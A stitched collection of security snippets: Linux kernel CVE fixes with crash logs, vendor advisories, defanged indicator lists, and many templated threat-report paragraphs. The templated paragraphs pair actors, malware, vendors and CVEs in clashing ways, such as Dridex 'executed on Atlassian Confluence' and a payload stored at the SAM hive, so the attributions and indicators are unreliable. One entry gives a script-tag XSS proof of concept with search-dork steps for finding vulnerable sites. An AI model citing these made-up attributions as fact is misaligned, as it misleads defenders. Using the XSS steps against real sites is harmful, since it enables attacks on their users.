In the Linux kernel, the following vulnerability has been resolved:

net/mlx5: DPLL, Fix possible use after free after delayed work timer triggers

I managed to hit following use after free warning recently:

[ 2169.711665] ==================================================================
[ 2169.714009] BUG: KASAN: slab-use-after-free in __run_timers.part.0+0x179/0x4c0
[ 2169.716293] Write of size 8 at addr ffff88812b326a70 by task swapper/4/0

[ 2169.719022] CPU: 4 PID: 0 Comm: swapper/4 Not tainted 6.8.0-rc2jiri+ #2
[ 2169.720974] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS rel-1[.]13[.]0-0-gf21b5a4aeb02-prebuilt[.]qemu[.]org 04/01/2014
[ 2169.722457] Call Trace:
[ 2169.722756]  <IRQ>
[ 2169.723024]  dump_stack_lvl+0x58/0xb0
[ 2169.723417]  print_report+0xc5/0x630
[ 2169.723807]  ? __virt_addr_valid+0x126/0x2b0
[ 2169.724268]  kasan_report+0xbe/0xf0
[ 2169.724667]  ? __run_timers.part.0+0x179/0x4c0
[ 2169.725116]  ? __run_timers.part.0+0x179/0x4c0
[ 2169.725570]  __run_timers.part.0+0x179/0x4c0
[ 2169.726003]  ? call_timer_fn+0x320/0x320
[ 2169.726404]  ? lock_downgrade+0x3a0/0x3a0
[ 2169.726820]  ? kvm_clock_get_cycles+0x14/0x20
[ 2169.727257]  ? ktime_get+0x92/0x150
[ 2169.727630]  ? lapic_next_deadline+0x35/0x60
[ 2169.728069]  run_timer_softirq+0x40/0x80
[ 2169.728475]  __do_softirq+0x1a1/0x509
[ 2169.728866]  irq_exit_rcu+0x95/0xc0
[ 2169.729241]  sysvec_apic_timer_interrupt+0x6b/0x80
[ 2169.729718]  </IRQ>
[ 2169.729993]  <TASK>
[ 2169.730259]  asm_sysvec_apic_timer_interrupt+0x16/0x20
[ 2169.730755] RIP: 0010:default_idle+0x13/0x20
[ 2169.731190] Code: c0 08 00 00 00 4d 29 c8 4c 01 c7 4c 29 c2 e9 72 ff ff ff cc cc cc cc 8b 05 9a 7f 1f 02 85 c0 7e 07 0f 00 2d cf 69 43 00 fb f4 <fa> c3 66 66 2e 0f 1f 84 00 00 00 00 00 65 48 8b 04 25 c0 93 04 00
[ 2169.732759] RSP: 0018:ffff888100dbfe10 EFLAGS: 00000242
[ 2169.733264] RAX: 0000000000000001 RBX: ffff888100d9c200 RCX: ffffffff8241bd62
[ 2169.733925] RDX: ffffed109a848b15 RSI: 0000000000000004 RDI: ffffffff8127ac55
[ 2169.734566] RBP: 0000000000000004 R08: 0000000000000000 R09: ffffed109a848b14
[ 2169.735200] R10: ffff8884d42458a3 R11: 000000000000ba7e R12: ffffffff83d7d3a0
[ 2169.735835] R13: 1ffff110201b7fc6 R14: 0000000000000000 R15: ffff888100d9c200
[ 2169.736478]  ? ct_kernel_exit.constprop.0+0xa2/0xc0
[ 2169.736954]  ? do_idle+0x285/0x290
[ 2169.737323]  default_idle_call+0x63/0x90
[ 2169.737730]  do_idle+0x285/0x290
[ 2169.738089]  ? arch_cpu_idle_exit+0x30/0x30
[ 2169.738511]  ? mark_held_locks+0x1a/0x80
[ 2169.738917]  ? lockdep_hardirqs_on_prepare+0x12e/0x200
[ 2169.739417]  cpu_startup_entry+0x30/0x40
[ 2169.739825]  start_secondary+0x19a/0x1c0
[ 2169.740229]  ? set_cpu_sibling_map+0xbd0/0xbd0
[ 2169.740673]  secondary_startup_64_no_verify+0x15d/0x16b
[ 2169.741179]  </TASK>

[ 2169.741686] Allocated by task 1098:
[ 2169.742058]  kasan_save_stack+0x1c/0x40
[ 2169.742456]  kasan_save_track+0x10/0x30
[ 2169.742852]  __kasan_kmalloc+0x83/0x90
[ 2169.743246]  mlx5_dpll_probe+0xf5/0x3c0 [mlx5_dpll]
[ 2169.743730]  auxiliary_bus_probe+0x62/0xb0
[ 2169.744148]  really_probe+0x127/0x590
[ 2169.744534]  __driver_probe_device+0xd2/0x200
[ 2169.744973]  device_driver_attach+0x6b/0xf0
[ 2169.745402]  bind_store+0x90/0xe0
[ 2169.745761]  kernfs_fop_write_iter+0x1df/0x2a0
[ 2169.746210]  vfs_write+0x41f/0x790
[ 2169.746579]  ksys_write+0xc7/0x160
[ 2169.746947]  do_syscall_64+0x6f/0x140
[ 2169.747333]  entry_SYSCALL_64_after_hwframe+0x46/0x4e

[ 2169.748049] Freed by task 1220:
[ 2169.748393]  kasan_save_stack+0x1c/0x40
[ 2169.748789]  kasan_save_track+0x10/0x30
[ 2169.749188]  kasan_save_free_info+0x3b/0x50
[ 2169.749621]  poison_slab_object+0x106/0x180
[ 2169.750044]  __kasan_slab_free+0x14/0x50
[ 2169.750451]  kfree+0x118/0x330
[ 2169.750792]  mlx5_dpll_remove+0xf5/0x110 [mlx5_dpll]
[ 2169.751271]  auxiliary_bus_remove+0x2e/0x40
[ 2169.751694]  device_release_driver_internal+0x24b/0x2e0
[ 2169.752191]  unbind_store+0xa6/0xb0
[ 2169.752563]  kernfs_fo
---truncated---


On BIG-IP versions 16.0.x before 16[.]0[.]1[.]1, 15.1.x before 15[.]1[.]2[.]1, 14.1.x before 14.1.4, 13.1.x before 13 [ . ] 1 [ . ] 3 [ . ] 6, 12.1.x before 12[.]1[.]5[.]3, and 11.6.x before 11[.]6[.]5[.]3, a malicious HTTP response to an Advanced WAF/BIG-IP ASM virtual server with Login Page configured in its policy may trigger a buffer overflow, resulting in a DoS attack. In certain situations, it may allow remote code execution (RCE), leading to complete system compromise. Note: Software versions which have reached End of Software Development (EoSD) are not evaluated.


Forensic Investigation Notes: Analysis of the compromised host revealed PowerView artifacts at C:\Windows\Temp\runtime.dll. Memory dump analysis confirmed execution of Nmap. Registry modifications pointed to persistence via C:\ProgramData\lsass.dmp. Network forensics identified connections to 163 [ . ] 32 [ . ] 73 [ . ] 120 and datamail[.]top. Email headers traced the initial vector to info@identity-verify[.]cc. File C:\Users\admin\Desktop\agent.py (MD5: 27530415a91fef25ca115872d73b182a) was identified as the initial dropper. A staging URL hxxps://api-cache[ . ]cc/collect resolved to 10[.]89[.]134[.]35. Secondary artifact hash: SHA1: f4f16c10535c0619990979d9b5e7c29410a44d3f.


] netsybil-parks [ . Amongst a backdrop of other incidents , Infy became one of the most frequently observed agents for attempted malware attacks against Iranian civil society beginning in late 2014 , growing in use up to the February 2016 parliamentary election in Iran . For example , “ hugesoft[ . ]org ” is an FQDN but also represents a zone . Monitor for newly constructed files that may attempt to hide artifacts associated with their behaviors to evade detection .


INTERPOL detected a multi-stage attack chain. The initial phishing email from verify@phishing-domain[.]com contained a link to hxxps://backupnode[.]link/callback. This redirected to hxxp://secure-sync[ . ]info/panel/index.html on loginrelay[ . ]cc. A secondary email from noreply@secure-verify[.]net pointed to hxxps://gatewaycdn[.]info/assets/js/payload.js which delivered Raccoon Stealer. The final payload callback was hxxps://gateway-auth[ . ]site/secure/token resolving to 172 [ . ] 195 [ . ] 39 [ . ] 190 via cloud-cache[.]cc.


Svpeng does this to check if the cards from these banks are attached to the number of the infected phone and to find out the account balance . The attackers behind Epic Turla have infected several hundred computers in more than 45 countries , including government institutions . Winnti : C&C : w[org_name][ . ]dnslookup[ . ]services : 443 . Analysis into the malware and its functionality reveals that its capabilities are comparable to those employed in previous incidents and malware , such as and , which were both malware variants deployed in the past to impact electricity transmission and distribution via IEC-104 .


Blog Post by Tenable: Tracking Aqua Blizzard's Latest Operations. Our research team has uncovered a new campaign leveraging CVE-2022-22601 against F5 BIG-IP deployments. The initial access vector involves spear-phishing emails from it@document-share[.]link delivering Lumma Stealer. Post-compromise, the attackers deploy TrickBot and use CrackMapExec for reconnaissance. C2 infrastructure includes 60[.]91[.]221[.]147 and sync-static[.]info. A staging server at hxxp://edge-update[ . ]net/admin/config hosts additional tooling. Key artifact: C:\Users\Public\Documents\taskhost.exe (SHA1: 5b858d4f94709a3ad09b168e422d9e927c1639e3).


Blog Post by Huntress: Tracking Lazarus Group's Latest Operations. Our research team has uncovered a new campaign leveraging CVE-2022-32541 against Apache Struts deployments. The initial access vector involves spear-phishing emails from it@mail-service[ . ]info delivering PlugX. Post-compromise, the attackers deploy StealC and use CrackMapExec for reconnaissance. C2 infrastructure includes 192[.]233[.]226[.]3 and auth-cdn[.]io. A staging server at hxxps://node-cloud[.]info/collect hosts additional tooling. Key artifact: /usr/local/bin/loader.exe (SHA1: bbe8da709c7e8f7d9645102700c38c71222dc623).


Phishing Campaign Report: SentinelOne identified a large-scale phishing operation. Emails originated from noreply@credential-check[ . ]site and alert@secure-verify[ . ]net, spoofing legitimate services. Victims were directed to hxxp://relay-mail[ . ]top/callback which hosted a credential harvesting page on securestatic[.]dev. A secondary link hxxp://proxy-auth[ . ]site/login delivered WarmCookie (SHA256: c0e98b7c0352c6a6c057be2b9d7c2af013aa2503137d362de85a36975a49f8ad). The malware was saved to /home/user/.config/backdoor.elf and established C2 with 148 [ . ] 119 [ . ] 16 [ . ] 96.


Phishing Campaign Report: Check Point Research identified a large-scale phishing operation. Emails originated from alert@login-portal[ . ]tech and it@secure-verify[ . ]net, spoofing legitimate services. Victims were directed to hxxps://data-mail[ . ]top/secure/token which hosted a credential harvesting page on update-gateway[.]info. A secondary link hxxp://storage-relay[ . ]dev/download/update.exe delivered Conti (SHA1: aee34fba81237601b8e27c58f209937a4c5f013e). The malware was saved to /etc/cron.d/beacon.dll and established C2 with 192[.]237[.]123[.]8.


Vulnerability Advisory: CVE-2021-16078 is a critical command injection affecting Fortinet FortiGate. Sophos X-Ops confirmed active exploitation by UNC2452 in the wild. Exploitation delivers ShadowPad (SHA256: f619238405d45984f31a9191d9a4df2c23fcc143ad8a917174fcce17c01eab27) which is dropped to /dev/shm/helper.sh. The exploit payload is hosted at hxxp://syncgateway[.]net/assets/js/payload.js and communicates to 180 [ . ] 125 [ . ] 104 [ . ] 82 for C2.


A backdoor also known as: TrojanPWS.Zbot.A4 Spyware.Zbot Trojan.Zbot.Win32.150744 Win32.Trojan.WisdomEyes.16070401.9500.9999 Trojan.Zbot TROJ_MALKRYP.SM1 Trojan.Win32.Zbot.cuxeug Win32.Trojan.Spy.Pefj TrojWare.Win32.Injector.AYTP Trojan.PWS.Panda.2982 TROJ_MALKRYP.SM1 BehavesLike[.]Win32[.]PWSZbot[.]cc TrojanSpy.Zbot.ecmj TR/Spy.ZBot.rhwnxx Trojan[Spy]/Win32.Zbot Win32.Troj.Undef.kcloud Trojan:Win32/Tesch.B Trojan.Kazy.D53F00 Backdoor/Win32.Androm.R99103 BScope.Malware-Cryptor.Winlock.7414 Win32/Injector.AYPX TrojanSpy.Zbot!As9snjQ7nLU Trojan-Downloader.Win32.Carberp W32/Kryptik.WIF!tr


In the Linux kernel, the following vulnerability has been resolved:

netfs: Only call folio_start_fscache() one time for each folio

If a network filesystem using netfs implements a clamp_length()
function, it can set subrequest lengths smaller than a page size.

When we loop through the folios in netfs_rreq_unlock_folios() to
set any folios to be written back, we need to make sure we only
call folio_start_fscache() once for each folio.

Otherwise, this simple testcase:

  mount -o fsc,rsize=1024,wsize=1024 127[.]0[.]0[.]1:/export /mnt/nfs
  dd if=/dev/zero of=/mnt/nfs/file.bin bs=4096 count=1
  1+0 records in
  1+0 records out
  4096 bytes (4.1 kB, 4.0 KiB) copied, 0.0126359 s, 324 kB/s
  echo 3 > /proc/sys/vm/drop_caches
  cat /mnt/nfs/file.bin > /dev/null

will trigger an oops similar to the following:

  page dumped because: VM_BUG_ON_FOLIO(folio_test_private_2(folio))
  ------------[ cut here ]------------
  kernel BUG at include/linux/netfs.h:44!
  ...
  CPU: 5 PID: 134 Comm: kworker/u16:5 Kdump: loaded Not tainted 6.4.0-rc5
  ...
  RIP: 0010:netfs_rreq_unlock_folios+0x68e/0x730 [netfs]
  ...
  Call Trace:
    netfs_rreq_assess+0x497/0x660 [netfs]
    netfs_subreq_terminated+0x32b/0x610 [netfs]
    nfs_netfs_read_completion+0x14e/0x1a0 [nfs]
    nfs_read_completion+0x2f9/0x330 [nfs]
    rpc_free_task+0x72/0xa0 [sunrpc]
    rpc_async_release+0x46/0x70 [sunrpc]
    process_one_work+0x3bd/0x710
    worker_thread+0x89/0x610
    kthread+0x181/0x1c0
    ret_from_fork+0x29/0x50


Artifact Analysis for AgentTesla campaign:
Stage 1 dropper at /tmp/implant.so - SHA1: 63003d9ce6c2659944e5c4b91949d4ff1c8d819e
Stage 2 loader at C:\Windows\Temp\svchost.exe - SHA256: 24e1e25faa27a77018ab33668640f88d320e1c74a66a671349d7bc0e5bf628b1
Final payload at C:\Users\admin\Downloads\shell.php - MD5: 0c8c269bbe812eb666b6636b23719126
Exfiltration module - SHA256: bbb29f766be1866ea88fdab89ec02d6a288fa6353ed489923a9f300b859e70c0
All stages communicated with 192 [ . ] 47 [ . ] 155 [ . ] 113. BloodHound signatures detected in Stage 2.


But Android.Oldboot malware is a bit more dangerous because even if you remove all working components of it from your android successfully , the component imei_chk will persist in a protected boot memory area and hence will reinstall itself on next boot and continuously infect the Smartphone . The C&C server ( 82[.]137[.]255[.]56 ) used by the above backdoors was used by APT-C-27 ( Goldmouse ) many times since 2017 . We will describe APT1 ’s backdoors in two categories : “ Beachhead Backdoors ” and “ Standard Backdoors. ” The companies infected by the malware primarily market so - called massively multiplayer online role - playing games .


Certain NETGEAR devices are affected by command injection by an unauthenticated attacker. This affects CBR40 before 2 [ . ] 5 [ . ] 0 [ . ] 24, EAX20 before 1 [ . ] 0 [ . ] 0 [ . ] 48, EAX80 before 1[.]0[.]1[.]64, EX7500 before 1[.]0[.]0[.]72, R6400 before 1 [ . ] 0 [ . ] 1 [ . ] 68, R6900P before 1[.]3[.]2[.]132, R7000 before 1 [ . ] 0 [ . ] 11 [ . ] 116, R7000P before 1[.]3[.]2[.]132, R7900 before 1[.]0[.]4[.]38, R7960P before 1[.]4[.]1[.]66, R8000 before 1 [ . ] 0 [ . ] 4 [ . ] 66, RAX200 before 1 [ . ] 0 [ . ] 3 [ . ] 106, RS400 before 1[.]5[.]1[.]80, XR300 before 1 [ . ] 0 [ . ] 3 [ . ] 68, MK62 before 1[.]0[.]6[.]110, MR60 before 1 [ . ] 0 [ . ] 6 [ . ] 110, R6400v2 before 1[.]0[.]4[.]106, R8000P before 1[.]4[.]1[.]66, RAX20 before 1[.]0[.]2[.]64, RAX45 before 1 [ . ] 0 [ . ] 2 [ . ] 82, RAX80 before 1[.]0[.]3[.]106, MS60 before 1[.]0[.]6[.]110, R6700v3 before 1 [ . ] 0 [ . ] 4 [ . ] 106, R7900P before 1 [ . ] 4 [ . ] 1 [ . ] 66, RAX15 before 1 [ . ] 0 [ . ] 2 [ . ] 64, RAX50 before 1 [ . ] 0 [ . ] 2 [ . ] 82, RAX75 before 1[.]0[.]3[.]106, RBR750 before 3[.]2[.]16[.]22, RBR850 before 3[.]2[.]16[.]22, RBS750 before 3 [ . ] 2 [ . ] 16 [ . ] 22, RBS850 before 3 [ . ] 2 [ . ] 16 [ . ] 22, RBK752 before 3[.]2[.]16[.]22, and RBK852 before 3[.]2[.]16[.]22.


Sophos X-Ops published a threat intelligence report linking Scattered Spider to a new campaign exploiting CVE-2024-31252 in Ivanti Connect Secure. The attackers deployed StealC via CrackMapExec, establishing C2 communication with 34 [ . ] 189 [ . ] 54 [ . ] 82 and login-auth[.]com. A secondary payload was downloaded from hxxp://portalstatic[ . ]site/download/update.exe. The malware binary (MD5: 7cba07f381cefcf75a1fba876742d0c8) was dropped to /opt/app/bin/runtime.dll. Phishing emails were sent from security@credential-check[.]site targeting enterprise users. A backup C2 server was identified at 172 [ . ] 62 [ . ] 136 [ . ] 116.


Blog Post by Secureworks: Tracking BlackTech's Latest Operations. Our research team has uncovered a new campaign leveraging CVE-2026-42806 against Atlassian Confluence deployments. The initial access vector involves spear-phishing emails from confirm@credential-check[ . ]site delivering RedLine Stealer. Post-compromise, the attackers deploy BlackCat and use WinPEAS for reconnaissance. C2 infrastructure includes 172[.]13[.]223[.]50 and login-login[.]io. A staging server at hxxp://static-data[.]link/secure/token hosts additional tooling. Key artifact: /dev/shm/taskhost.exe (SHA256: fe8f2afae71ef804fbf2a01faacc6981208fb45574a41c539bcc1d1e33d46d45).


VIPKeylogger payload (SHA256: e37ccc8bf737978f18519177a6810065e1da8a62d4e6ff627350d85e60d3c7c1) and XWorm backdoor (SHA256: ed2001b4af76a38afef7dac1caa1c26b857d4f52737368190922593cf37d9c21) were both distributed through malicious PowerShell scripts hosted on compromised WordPress sites. XWorm communicates with C2 at xworm-panel[.]ddns[.]net:7000 while VIPKeylogger sends captured keystrokes to logcollector@protonmail[.]com.


Malware Analysis Report: Dridex (SHA1: bd96cd72d2d750d97fb13b221be90c13e31a073c). Upon execution on Atlassian Confluence, the sample creates C:\ProgramData\beacon.dll and injects into legitimate processes. Network analysis shows beaconing to 135 [ . ] 201 [ . ] 102 [ . ] 73 every 60 seconds and DNS queries to loginrelay[.]link. The second stage was fetched from hxxp://backup-gateway[ . ]site/callback and written to C:\Windows\Temp\beacon.dll. The payload uses Metasploit-style techniques for defense evasion. A secondary hash (SHA1: 2fe283e209de3ccdcf6523d968de9ec93940690a) was extracted from the unpacked payload.


SIF is an open source implementation of the Singularity Container Image Format. The `siftool new` command and func siftool.New() produce predictable UUID identifiers due to insecure randomness in the version of the `github[.]com/satori/go.uuid` module used as a dependency. A patch is available in version >= v1.2.3 of the module. Users are encouraged to upgrade. As a workaround, users passing CreateInfo struct should ensure the `ID` field is generated using a version of `github[ . ]com/satori/go.uuid` that is not vulnerable to this issue.


Threat Intelligence Brief (Check Point): APT28 has been observed deploying Ryuk in a new campaign targeting financial institutions. Initial access is gained through spear-phishing emails from noreply@payment-confirm[ . ]top. Infrastructure includes 23 [ . ] 22 [ . ] 188 [ . ] 125, 212 [ . ] 251 [ . ] 195 [ . ] 137, and botnet-cmd[[ . ]]biz. SHA1 indicator: 02e8b81a65656c6f6f4d56959539112f29d1dc06.


Vulnerability Advisory: CVE-2021-23031 is a critical authentication bypass affecting Active Directory. Secureworks confirmed active exploitation by Ember Bear in the wild. Exploitation delivers Lumma Stealer (SHA1: 4019b0ea00c1c11c338cbd517b767cfb47f34059) which is dropped to C:\Users\admin\Desktop\beacon.dll. The exploit payload is hosted at hxxps://cdnupdate[.]link/api/v2/auth and communicates to 10 [ . ] 190 [ . ] 128 [ . ] 137 for C2.


CVE-2025-15356: A vulnerability has been found in Tenda AC20 up to 16[.]03[.]08[.]12. The impacted element is the function sscanf of the file /goform/PowerSaveSet. The manipulation of the argument powerSavingEn/time/powerSaveDelay/ledCloseType leads to buffer overflow. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used.


This vulnerability allows remote attackers to execute arbitrary code on affected installations of CentOS Web Panel cwp-e17.0 [ . ] 9 [ . ] 8 [ . ] 923. Authentication is not required to exploit this vulnerability. The specific flaw exists within ajax_dashboard.php. When parsing the service_restart parameter, the process does not properly validate a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-9734.


Artifact Analysis for RedLine Stealer campaign:
Stage 1 dropper at C:\Users\admin\AppData\Local\Temp\lsass.dmp - SHA256: 29441fac67f23ef63db5cb9fca03065622c6e1abb61914ba2819fdd6e9d32c3e
Stage 2 loader at /usr/local/bin/backdoor.elf - SHA256: 173ad87fcfe5cc7fe02caf47ac495b57d3694a2d7a44c77498226b9eabb3f0d8
Final payload at C:\Users\admin\AppData\Local\Temp\runtime.dll - SHA256: 75c4f216ecbf68c7be3f08a83580150038dd55104694241ad7f67ff6b49a4dba
Exfiltration module - MD5: 02993c2548c5bafe781977e0073bda38
All stages communicated with 172 [ . ] 60 [ . ] 248 [ . ] 175. Sharphound signatures detected in Stage 2.


In addition , we uncovered the IMEIs of the targeted individuals ( IMEIs will not be shared publicly for the privacy and safety of the victims ) as well as the types of exfiltrated content . Recently , we found several new versions of Carbon , a second stage backdoor in the Turla group arsenal . At startup , Svchost[ . ]exe checks the services part of the registry and constructs a list of services to load . At the end of There is a call to the main function of the malware that contains all its functionality .


Previous version The capture service class implements the chat applications interception . Callisto Group and related infrastructure contain links to at least Russia , Ukraine , and China . The one outlier was written as winword[.]exe . Acquire Infrastructure : Web Services APT29 has registered algorithmically generated Twitter handles that are used for C2 by malware , such as HAMMERTOSS .


Artifact Analysis for Latrodectus campaign:
Stage 1 dropper at /home/user/.config/helper.sh - SHA256: fcfb26d520354676c22e4d3952337ba654d7c7b0d3c7e4174e449236d3b7b1c3
Stage 2 loader at /opt/app/bin/taskhost.exe - MD5: 203306efc80a92520634bfaa05803c84
Final payload at /dev/shm/loader.exe - MD5: 970265e9ff1654b782a45d152032e2da
Exfiltration module - SHA1: de4cdc283e24258a76c88ff929813b9ef27fb1f1
All stages communicated with 66 [ . ] 180 [ . ] 243 [ . ] 29. Metasploit signatures detected in Stage 2.


Office 365 ATP blocks unsafe attachments , malicious links , and linked-to files using time-of-click protection . Poison Ivy is a remote access tool that is freely available for download from its official web site at www[.]poisonivy-rat[.]com . OceanLotus : {68DDB1F1-E31F-42A9-A35D-984B99ECBAAD} registry path varies SOFTWARE\Classes\CLSID\{57C3E2E2-C18F-4ABF-BAAA-9D17879AB029} . Mandiant is investigating intrusions across multiple verticals , including legal and professional services , technology , and government organizations .


Keylogging : record input events by hooking IPCThreadState : :Transact from /system/lib/libbinder.so , and intercepting android : :parcel with the interface com.android.internal.view.IInputContext . Since early 2018 , FireEye ( including our FireEye as a Service ( FaaS ) , Mandiant Consulting , and iSIGHT Intelligence teams ) has been tracking an ongoing wave of intrusions targeting engineering and maritime entities , especially those connected to South China Sea issues . Winnti : 8272c1f4 2018-11-01 13:16:24 hxxps://nw[ . ]infestexe[ . ]com/version/last.php . The Platform can look for indicators across file attachments , embedded links , and more and provide inplatform risk scoring .


Microsoft MSRC detected a multi-stage attack chain. The initial phishing email from ceo@account-update[ . ]xyz contained a link to hxxps://cachesync[ . ]online/collect. This redirected to hxxp://backup-proxy[ . ]site/assets/js/payload.js on edge-backup[.]xyz. A secondary email from info@credential-check[ . ]site pointed to hxxps://apiportal[.]top/assets/js/payload.js which delivered IcedID. The final payload callback was hxxps://relayportal[.]info/panel/index.html resolving to 192[.]14[.]164[.]50 via static-gateway[.]top.


The files exploit the well-known Microsoft Office vulnerability , CVE-2012-0158 , to execute malicious code in order to take control of the targeted systems . 06[ . ]2017[ . ]docx .


Phishing Campaign Report: Volexity identified a large-scale phishing operation. Emails originated from account@auth-check[ . ]org and service@mail-service[.]info, spoofing legitimate services. Victims were directed to hxxp://apibackup[.]cc/portal/verify which hosted a credential harvesting page on cache-cache[ . ]top. A secondary link hxxp://staticproxy[ . ]top/api/v2/auth delivered Qbot (SHA1: bbff937c6779ddc0bd9b611929153f6fe301f6f4). The malware was saved to /usr/local/bin/implant.so and established C2 with 172 [ . ] 218 [ . ] 17 [ . ] 151.


The package github[.]com/pires/go-proxyproto before 0.5.0 are vulnerable to Denial of Service (DoS) via the parseVersion1() function. The reader in this package is a default bufio.Reader wrapping a net.Conn. It will read from the connection until it finds a newline. Since no limits are implemented in the code, a deliberately malformed V1 header could be used to exhaust memory in a server process using this code - and create a DoS. This can be exploited by sending a stream starting with PROXY and continuing to send data (which does not contain a newline) until the target stops acknowledging. The risk here is small, because only trusted sources should be allowed to send proxy protocol headers.


XSS in /dashboard/blocks/stacks/view_details/ - old browsers only. When using an older browser with built-in XSS protection disabled, insufficient sanitation where built urls are outputted can be exploited for Concrete 8.5.7 and below as well as Concrete 9.0 through 9.0.2 to allow XSS. This cannot be exploited in modern-day web browsers due to an automatic input escape mechanism. Concrete CMS Security team ranked this vulnerability 3.1with CVSS v3.1 Vector AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N. Sanitation has been added where built urls are output. Credit to Credit to Bogdan Tiron from FORTBRIDGE (hxxps://www[ . ]fortbridge[ . ]co[ . ]uk/ ) for reporting


id=eu.chainfire.supersu ) tool 246[ . ]us us.x SuperSU ELF binaries supersu.cfg supersu.cfg.ju supersu.cfg.old SuperSU configs with spyware implant mention bb.txt BusyBox v1.26.2 ELF file bdata.xml Config file for excluding malware components from Android battery saver feature Doze bdatas.apk Main implant module com.android.network.irc.apk Start implant module MobileManagerService.apk ASUS firmware system component ( clean ) mobilemanager.apk The malware uses a custom binary protocol to beacon back to the command and control ( C2 ) server , often via TCP port 8080 or 8088 , with some payloads implementing Secure Socket Layer ( SSL ) encryption to obfuscate communications . APT33 : 91[.]235[.]142[.]124 mywinnetwork[ . ]ddns[ . ]net . If you can understand why a hacker hacks their motivations a little more clearly , along with who is most likely to be targeting your specific organization , you can bolster your defenses and be ready for whatever the threat landscape throws your way .


IOCs C & C IP addresses : 155[.]133[.]82[.]181 155[.]133[.]82[.]240 155[.]133[.]82[.]244 185 [ . ] 234 [ . ] 218 [ . ] 59 195[.]22[.]126[.]160 195[.]22[.]126[.]163 195[.]22[.]126[.]80 195[.]22[.]126[.]81 5[.]45[.]73[.]24 5[.]45[.]74[.]130 IP addresses from which the Trojan was downloaded : 185 [ . ] 174 [ . ] 173 [ . ] 31 185[.]234[.]218[.]59 188 [ . ] 166 [ . ] 156 [ . ] 110 195[.]22[.]126[.]160 195[.]22[.]126[.]80 195 [ . ] 22 [ . ] 126 [ . ] 81 In 2016 , the threat actors conducted a strategic web compromise ( SWC ) on the website of an international industry organization that affected aerospace , academic , media , technology , government , and utilities organizations around the world . With technologies that employ web/URL filtering , behavioral analysis , and custom sandboxing , XGen security offers protection against ever-changing threats that bypass traditional controls and exploit known and unknown vulnerabilities . Talos discovered multiple vulnerabilities in Foxit PDF Reader that could allow an adversary to execute , arbitrary code on the targeted machine .


Thinkific Thinkific Online Course Creation Platform 1.0 is affected by: Cross Site Scripting (XSS). The impact is: execute arbitrary code (remote). The component is: Affected Source code of the website CMS which is been used by many to host their online courses using the Thinkific Platform. The attack vector is: To exploit the vulnerability any user has to just visit the link - hxxps://hacktify[ . ]thinkific[ . ]com/account/billing?success=%E2%80%AA%3Cscript%3Ealert(1)%3C/script%3E. ¶¶ Thinkific is a Website based Learning Platform Product which is used by thousands of users worldwide. There is a Cross Site Scripting (XSS) based vulnerability in the code of the CMS where any attacker can execute a XSS attack. Proof of Concept & Steps to Reproduce: Step1 : Go to Google[.]com Step 2 : Search for this Dork site:thinkific[.]com -www Step 3 : You will get a list of websites which are running on the thinkific domains. Step 4 : Create account and signin in any of the website Step 5 : Add this endpoint at the end of the domain and you will see that there is a XSS Alert /account/billing?success=%E2%80%AA<script>alert(1)</script> Step 6 : Choose any domains from google for any website this exploit will work on all the websites as it is a code based flaw in the CMS Step 7 : Thousands of websites are vulnerable due to this vulnerable code in the CMS itself which is giving rise to the XSS attack.


Forensic examination of the compromised host identified NjRAT artifacts. The primary payload was located at C:\Windows\System32\config\SAM with SHA256 hash 7a8cc24b994c7c318704dd8d3bbb571c714ac7eea8d5784c53b4b995c95073ea. A secondary implant was found at /dev/shm/.payload (MD5: 1bafa6cfe9b2fe395dd1ca0684cc9557). Network logs showed outbound connections to 141 [ . ] 177 [ . ] 122 [ . ] 166 and DNS queries to ransom-pay[[ . ]]icu.


Blog Post by Microsoft MSRC: Tracking Scattered Spider's Latest Operations. Our research team has uncovered a new campaign leveraging CVE-2021-20463 against Zyxel USG deployments. The initial access vector involves spear-phishing emails from notification@identity-verify[ . ]cc delivering DanaBot. Post-compromise, the attackers deploy Meduza Stealer and use SharpHound for reconnaissance. C2 infrastructure includes 222 [ . ] 254 [ . ] 7 [ . ] 136 and gatewayrelay[ . ]tech. A staging server at hxxp://update-mail[.]live/assets/js/payload.js hosts additional tooling. Key artifact: /dev/shm/update.dll (SHA256: 615657959884cd350ee3b767ed1cbcced1ce83b64d7ac74c788d8ecbd2f278b4).


Description:

VMware AVI Load Balancer contains an authenticated blind SQL Injection vulnerability. VMware has evaluated the severity of the issue to be in the  Moderate severity range hxxps://www[ . ]broadcom[ . ]com/support/vmware-services/security-response  with a maximum CVSSv3 base score of  6.8 hxxps://www[.]first[.]org/cvss/calculator/3-0#CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N .

Known Attack Vectors:

An authenticated malicious user with network access may be able to use specially crafted SQL queries to gain database access.

Resolution:

To remediate CVE-2025-41233 apply the patches to the Avi Controller listed in the 'Fixed Version' column of the 'Response Matrix' found below.

Workarounds:

None.

Additional Documentation:

None.

Acknowledgements:

VMware would like to thank  Alexandru Copaceanu hxxps://www[ . ]linkedin[ . ]com/in/alexandru-copaceanu-b39aaa1a8/  for reporting this issue to us.

Notes:

None.

Response Matrix:

ProductVersionRunning OnCVECVSSv4SeverityFixed VersionWorkaroundsAdditional DocumentsVMware Avi Load Balancer30.1.1AnyCVE-2025-41233 6.8 hxxps://www[.]first[.]org/cvss/calculator/3-0#CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N Moderate 30.1.2-2p3 hxxps://techdocs[.]broadcom[.]com/us/en/vmware-security-load-balancing/avi-load-balancer/avi-load-balancer/30-1/vmware-avi-load-balancer-release-notes/release-notes-30-1-2.html NoneNoneVMware Avi Load Balancer30.1.2AnyCVE-2025-41233 6.8 hxxps://www[.]first[.]org/cvss/calculator/3-0#CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N Moderate 30.1.2-2p3 hxxps://techdocs[.]broadcom[.]com/us/en/vmware-security-load-balancing/avi-load-balancer/avi-load-balancer/30-1/vmware-avi-load-balancer-release-notes/release-notes-30-1-2.html NoneNoneVMware Avi Load Balancer30.2.1AnyCVE-2025-41233 6.8 hxxps://www[.]first[.]org/cvss/calculator/3-0#CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N Moderate 30.2.1-2p6 hxxps://techdocs[ . ]broadcom[ . 